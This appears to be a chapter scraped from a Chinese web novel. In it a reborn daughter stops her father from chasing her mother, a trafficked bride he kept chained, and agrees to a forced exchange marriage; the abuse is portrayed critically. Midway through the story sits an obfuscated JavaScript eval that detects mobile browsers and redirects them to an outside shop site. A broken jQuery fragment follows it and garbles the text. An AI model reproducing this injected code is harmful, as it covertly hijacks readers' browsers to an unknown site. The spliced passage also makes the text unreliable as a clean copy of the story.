谢锦年跪在了桥头,挡住了谢东良跟谢锦棠的去路。
谢东良跟谢锦棠气喘吁吁,一身的黄泥,浑身狼狈,也不知在追赶的中途摔了多少的跟头,又连夜赶了多少的路。谢东良此时见谢锦年跪在面前,心头的怒火登时找到了发泄的地方,狠狠一耳光就扇了过去。
谢锦年被他扇得整个人都快摔了出去,但她很快就爬了起来,不顾迅速红有肿起来的脸颊跟被扇破的嘴色,又挡在了谢东良的前面。
谢东良满脸怒火,抬脚就要把她踢开,却被她抱住了双腿,秀目含泪:“爸!你放过妈妈吧!她快死了,你不要再追了好不好?”
谢锦棠听到这句,想绕开谢锦年追上去的步子就停了下来。
谢锦年求他:“哥!我嫁,我给你换嫂子回来,求你了,别再追我妈了,她没几天好活了……”
谢锦棠想起赵姬那人行骷髅般的身体,犹豫地看向了谢东良:“二叔……”
谢东良一把将谢锦年抓了起来,他正值壮年,浑身的力气使不完,谢锦年在他手里就像只待宰的小鸡,他轻轻一搡就把她扔了出去,厉声道:“孽障!竟然敢背着我逃跑?!还敢跟那个贱人求情?赵姬她生是我的人,死是我的鬼,还轮不到你来当家作主!”
谢锦年摔在了桥上,桥上的青苔太滑,她差点被滑进了水里,吓得谢锦棠出了一身的冷汗,下意识就要去拉她。
谢锦年却退后了两步,躲开了他的手。
谢东良见状更生气,见杨盛文已经背着赵姬逃得不见踪影了,他指着谢锦年的鼻子:“你给我跪在这里反省,等我把那对狗男女追回来再好好跟你算账!”
狗男女?赵姬比杨盛文大十几岁,两人绝对不是那种关系,但谢东良骨子里就还遗留着传统的思想,自己的老婆被一个男人背着走,那就是背叛了他,他可不管杨盛文是什么来头,照打照杀不误。反正在五道沟,杨盛文的举动说破天去也是死罪一条。
哪知谢锦年却又再一次挡在了他的前面,脸上一片决绝之色:“爸,你再逼我,我就从桥上跳下去!”
怒吞江水深不可测,现在又正值雨季,水位涨了五米不止,谢锦年若跳了进去,就如石沉大海,连尸体都捞不着。
谢锦棠看到堂妹脸上的神色,被吓得不轻,连忙拖着谢东良就往岸边走:“二叔,你冷静一点,锦年,你也是,有话好好说。”
谢东良想挥开谢锦棠的手:“你让她跳!我就不信了……”
“二叔!”谢锦棠大吼,“她真敢跳的。她如果跳下去了,咱们一切的心血都白费了!她不嫁,锦业就不可能再过继给你,你就不止没了老婆,连唯一的孩子都没了!”话说得难听,但在这种时候却是叫醒谢东良最好的办法。
谢东良被怒火冲昏的理智这才回笼,是了,如果谢锦年跳下去,啥都没了。
谢锦年若没了,换亲就换不成了,钱得退给李天富,房子也没了,而他千辛万苦冒着大雨赶了两天一夜的路追过来的意义在哪里?
他恍了下神,一直紧绷着的心神瞬间放空,无名的疲倦就涌了上来,竟踉跄了好几步坐到了地上。
谢锦棠松了口气,转向谢锦年:“锦年,二叔只是一时冲动才打你了,你快过来,我们有话好好说。”
谢锦年摇了摇头:“谢家的女儿什么时候有说话的权力了?当牛作马,被打骂被卖,不都是你们一句话的事吗?”
谢锦棠的脸涨得通红,嘴角噏噏,却一句反驳的话都说不出来。
谢东良站了起来,怒道:“你敢跟着外人逃跑,你还有理了?”
谢锦年拿袖子擦了擦眼泪:“是,我无理,我活该嫁给一个打死了老婆还瞎了一只眼睛的老男人!哪怕嫁过去之后不知道哪天会被打死,我也一句话都不该讲,就该满心欢喜地给你们赚回来房子、赚回来嫂子,更重要的是给你赚回来一个儿子!”
无视谢东良越发愤怒的脸,她的视线又朦胧起来,哀声道:“爸,我是你的女儿,嫁给李天富那种人,你有想过我以后的日子要怎么过吗?”
谢东良的脸皮被她撕破了扔在地上踩,只觉得内心那一股忍了十几年的戾气都被激活了,他的眼睛眯了起来,怒火再次淹没了他的理智:“你的命是我给你的,我让你怎么样你就得怎么样!你还想给赵姬求情?她是我花了1000块钱买回来的媳妇,生是我的人,死是我的鬼!如果不是她的心太野,她早该乖乖给我生下儿子,乖乖地伺候我们全家,当一个合格的儿媳妇才是!”
他冷笑着,呼呼地喘着粗气,眼里是深深的愤恨与不甘:“为什么别人都听话,都屈服,就她骨头硬,宁愿被链子锁在牛栏里还仰着脖子活着,都被打瘸腿了还惦记着逃跑!如果赵姬也跟别人一样,你今天就不会被换亲,你如果有弟弟,你也可以跟别人一样想嫁给谁就嫁给谁,出了事有弟弟给你撑腰!你怪我?你不该怪我的,你应该怪你那个妈!为什么别人都爱孩子,就她不!你看看她,见你跪在这里拦我们,头都不回一个,我起码还养了你这么大,她是连抱也没抱过你一次!如果小时候不是我抱着你四处去讨奶喝,你早就饿死了。”
他的声音像打雷一般响亮,化作一击击重锤,打得谢锦年浑身瘫软无力,就算她重生了一回,就算她早就知道谢东良对她们母子是什么态度,但这话依然像刀子一般狠狠地扎进了她的心里,让她眼里的泪水忍也忍不住地直流而下。
是的,赵姬恨她,这是不可否认的事实。
她的存在就是赵姬的耻辱,是她这辈子都无法抹去的污渍。
她上辈子,跟这辈子,都像是一个笑话。
重来一回,并没有让她的处境更好一点,反而因为生出了逃跑的事,让她看清了无论是赵姬还是谢东良,都对她没有半点的感情。
原来这世上真的没有任何人爱她啊。
谢东良纵然自私虚伪不把她当女儿看,但他有一句说得没错,那就是赵姬根本就不在意她,不然她怎么连回头看她一眼的举动都没有?
这样的一双父母,让她情何以堪?
上辈子,她只觉得屈辱,却并不敢在人前表露什么,但这一回,她再不把心里的想法说出来,她就快要爆炸了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13061239|137739||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她摇摇晃晃地站起来,颤声道:“你们都没错,难道怪我吗?我何其无辜,要投身在这样的一个家庭,有你们这样的一对父母?”
谢东良面无表情:“这是你的命,你得认命!”
谢锦年大声道:“不,这都是你的错,造成今天这一切都是因为你!你千不该万不该,就是不该为了买赵姬,让家里卖了10亩地给你凑钱!如果不是因为家里太穷,哥娶不上媳妇,也根本不会有换亲这种事!牛不喝水强按头,这么多年来,因为你的一念之差,家里过成了这个样子,所以你才会一直抬不起头来,觉得事事亏欠大伯一家,才会把我当成救命稻草,要把我卖掉,换回你传宗接代的机会!”
谢东良大怒,眼睛一瞪,扬起手又要再打谢锦年,谢锦年却昂起了头,秀目含泪:“爸,这些年来,爷爷奶奶、大伯大伯母都怨你,不敢明着怨,可背地里不知道说了多少恨你的话。你是懂也装不懂,由着他们欺负,不就是觉得亏欠他们的吗?可是再怎么亏欠,18年了,爸,你折磨了妈妈18年,现在还要加上一个我,什么债都能清掉了。我求您,您放过她吧。她这样子,没几天好活了,追回来处死她,只会让村里人更加不齿我们家……”
谢东良踉跄一步,当年初见赵姬那惊为天人的一念之差铸成了大错,如今竟由亲生女儿亲口挑破,心里只觉得一片悲凉。
这些年他悔吗?恨吗?只有他自己心里清楚,他折了那朵花,那朵花就再没盛开过,他用尽了一切的手段,她依旧视他如污泥烂垢。
谢锦年看着他:“妈那样的人,不是你配得上的。你就算把她打死,她也不会向你低头的。”这么多年了,他早该看清楚了。
谢姬是高高在上的公主,而谢东良却是那粗野鄙陋的村夫,他根本就不应该肖想这朵开在悬崖上的花朵的,是他一时糊涂,耽误了自己一辈子,也害了赵姬一辈子,更害了女儿一辈子……
其实他这些年的状态,又跟那死了老婆的鳏夫有什么区别?有谁家的妻子需要锁在牛栏里过活的?如果能按下赵姬的头,她也不会在牛栏里一待十几年……
谢锦年说得没错,抓回来,也不过是处死她而已,而且让赵姬像之前那样活着,跟死了又有什么区别?
谢锦年垂下眼睑,伏在地上苦苦哀求:“我求您,不要再追了,放过她,也放过自己吧。”
谢东良浑身颤抖,定定地看了谢锦年许久,看她依然跪在那里一动不动泣不成声,心里仿佛有一堵墙坍塌了,但很快又有一堵更结实的墙牢牢地搭建起来,他冷哼一声,转身就走:“从今天开始,你就给我好好在家里待嫁,什么歪主意都不许再打。你既然要我放过赵姬,那就用你自己来偿还欠家里的东西,乖乖地嫁给李天富,把你嫂子换回来。如果你能在夫家帮家里争取到好处,我也不会不管你,锦业以后也会是你的亲弟弟,但你若敢再做出像今天这样逃跑的事情来,就别怪我不认你这个女儿。”
他竟然答应不追赵姬了。
谢锦年伏在地上的身子停止了颤抖,在他们看不见的地方,脸上浮起一丝奇异的微笑。